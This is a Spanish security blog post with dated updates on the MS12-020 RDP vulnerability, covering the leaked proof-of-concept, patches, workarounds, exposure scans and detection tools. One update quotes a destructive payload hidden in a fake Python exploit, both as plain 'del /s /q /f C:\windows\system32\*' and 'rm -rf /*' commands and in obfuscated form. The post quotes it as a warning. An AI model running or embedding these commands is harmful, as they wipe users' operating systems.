15 mar. 2012

Exploit público para MS12-020 (Parchea!)

El pasado martes, Microsoft lanzó una actualización crítica MS12-020 (que supersede a MS11-065), que corrige una vulnerabilidad en la implementación del protocolo RDP. Según la descripción, esta vulnerabilidad podría permitir a un atacante remoto no autenticado ejecutar código arbitrario en el sistema afectado.

Específicamente, según el sistema operativo, el MS12-020 incluye la KB2671387 (Remote Code Execution - CVE-2012-0002) y KB2667402 (Denial of Service - CVE-2012-0152) para las nuevas versiones de Windows o la KB2621440 para Windows XP y 2003. La vulnerabilidad afecta a varios archivos pero principalmente a Rdpwd.sys y Rdpcore.dll.

Las empresas suelen publicar el puerto RDP (TCP 3389) a través de Internet para permitir el acceso remoto a sus servidores y estaciones de trabajo. Este factor hizo que sea muy atractivo para los atacantes realizar ingeniería inversa del parche, entender los detalles del error y elaborar un exploit chino, IIIII (aparente válidos), el cual ya ha sido publicado en las últimas horas. No se debe perder de vista que anteriormente ya había circulado otro exploits falso supuestamente creado "by Sabu" y que hace referencia a "that chinese shit".

La vulnerabilidad afecta la implementación de RDP de Microsoft Windows 2000, XP SP2 y SP3, Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2, R2 y Windows 7. Por estas razones, se recomienda aplicar el parche MS12-020 tan pronto como sea posible en su entorno y también se puede aplicar un filtro para Snort desde Emerging Threats con el SID 2014384 (RDP DoS attack as described in KB2667402/CVE-2012-0152).

Actualización: ya se publicó un código válido en Python.

Actualización 16/03: la vulnerabilidad y PoC original fue reportada a Microsoft por Luigi Auriemma (TippingPoint's Zero Day Initiative) y ya se encuentra público en Exploit-DB.
Al parecer el exploit chino empaquetado que fue publicado ayer, es exactamente el mismo de Luigi, lo cual lleva a preguntarse ¿quién lo filtró?. Si bien el exploit aún causa algún pantallazo azul, esta publicación hará que no pase demasiado hasta que aparezca el primer gusano que aproveche la vulnerabilidad.

Actualización: Luigi ha confirmado que la fuente de la fuga ha sido Microsoft en sus anuncios a los partners a través del programa Microsoft Active Protection Program (MAPP). Microsoft ha confirmado esta información.

Microsoft ha publicado una serie de soluciones, en el caso de no desear instalar el parche aún, lo cual sigue siendo lo más recomendable:
  1. Deshabilitar Terminal Services, Escritorio remoto, Asistencia remota y la característica Lugar de trabajo remoto en Web de Windows Small Business Server 2003 si no se necesitan.
  2. Bloquear el trafico entrante al puerto TCP 3389 en el firewall perimetral de la empresa
  3. Habilitar la autenticación de nivel de red en sistemas que ejecuten ediciones compatibles de Windows Vista, Windows 7, Windows Server 2008 y Windows Server 2008 R2. Para esto se puede instalar Microsoft Fix It 50844
Actualización: hay al menos 2400 servidores RDP (puerto 3389) que aparecen listados públicamente en Shodan. ¿Ya te buscaste, ya parcheaste?

Actualización: más detalles del código y las diferencias en los binarios.

Actualización: publican un código funcional en Python que realiza un DoS sobre XP SP2.

Actualización: Core acaba de actualizar su módulo de DoS con este exploit.

Actualización: dos comics de cómo se desarrollaron los eventos sobre la aparición pública del 0-Day gracias al programa MAPP.

Actualización 17/03: Sophos ha confirmado la aparición del primer troyano que aprovecha la vulnerabilidad.

Actualización: se puede averiguar si la actualización ya se encuentra instalada desde Inicio -> Todos los programas -> Windows Update -> Ver historial de actualizaciones y verificar que se encuentre la KB2667402. Además también se puede ejecutar cualquiera de estos comandos:
wmic qfe | find "KB2667402"
wmic qfe | find "KB2621440"

Actualización: se ha confirmado que el exploit funciona en Windows 2000, para el cual no hay actualización (y quizás nunca la haya). ¿Todavía no actualizaste tu sistema operativo?

Actualización: video de un DoS sobre Windows 2008 R2 con el código del exploit en Ruby.

Actualización: se ofrece una recompensa de U$S1500 a la primera persona que desarrolle una PoC con un payload arbitrario para Metasploit.

Actualización 18/03: Dan Kaminsky ha escaneado 300 millones de IP (8,3% de Internet) y ha encontrado 415.000 direcciones con evidencia del protocolo RDP. Extrapolando los datos a partir de esa muestra, se puede afirmar que hay aproximadamente cinco millones de RDP en Internet.

Actualización: uno de los supuestos exploits publicados en Python, es un payload que elimina el sistema operativo. Su autor es "Verye" y el enlace a dicho código no ha sido publicado aquí. El payload es el siguiente:
del /s /q /f C:\windows\system32\* > NUL 2>&1
rm -rf /* > /dev/null 2>&1


Payload convertido a ASCII:
"__import__('os').sys"
"tem('del /s /q /f C:"
"\windows\system32\* "
"> NUL 2>&1') if 'Win"
"' in __import__('pla"
"tform').system() els"
"e __import__('os').s"
"ystem('rm -rf /* > /"
"dev/null 2>&1') #hi "
"there ^_~ feel free "
"to spread this with "
"the rm -rf replaced "
"with something more "
"insidious"


Ahora más que nunca debe prestarse atención a lo que se baja y codea.

Actualización: Stratsec realizó otro análisis a bajo nivel de la vulnerabilidad.

Actualización: @caseyjohnellis ha publicado un servicio RDPCheck para verificar si el servicio RDP se encuentra habilitado en su organización.

Actualización: hemos publicado una FAQ sobre MS12-020.

Actualización 19/03: se ha publicado un procedimiento para crear una honeypot para detectar tráfico anómalo sobre RDP (TCP 3389) y posibilite la detección de un gusano que explote la vulnerabilidad.

Actualización: Metasploit siguió el ejemplo de Core y publicó una actualización para su framework (capturas de 0verl0ad). Mientras tanto sólo hay rumores de haber encontrado la forma de obtener una ejecución de código remota (RCE).

Actualización: supuestamente apareció una herramienta china para ejecutar ataques de DoS masivos. Esto no ha sido verificado y sólo se puede decir que VirusTotal la detecta como troyano.

Actualización 22/03: Nessus incorpora el plugin 58435 para detectar RDP vulnerables.

Actualización 27/03: han publicado una herramienta en Visual Basic para probar la vulnerabilidad (RDPKill) y un script NSE para NMAP que permite analizar servidores sin blue screen.

Cristian de la Redacción de Segu-Info

0 comentarios:

Publicar un comentario

Gracias por dejar un comentario en Segu-Info
Si vas a dejar una consulta, procura tener habilitado tu perfil en Blogger o deja una forma de contacto.

Gracias por comentar!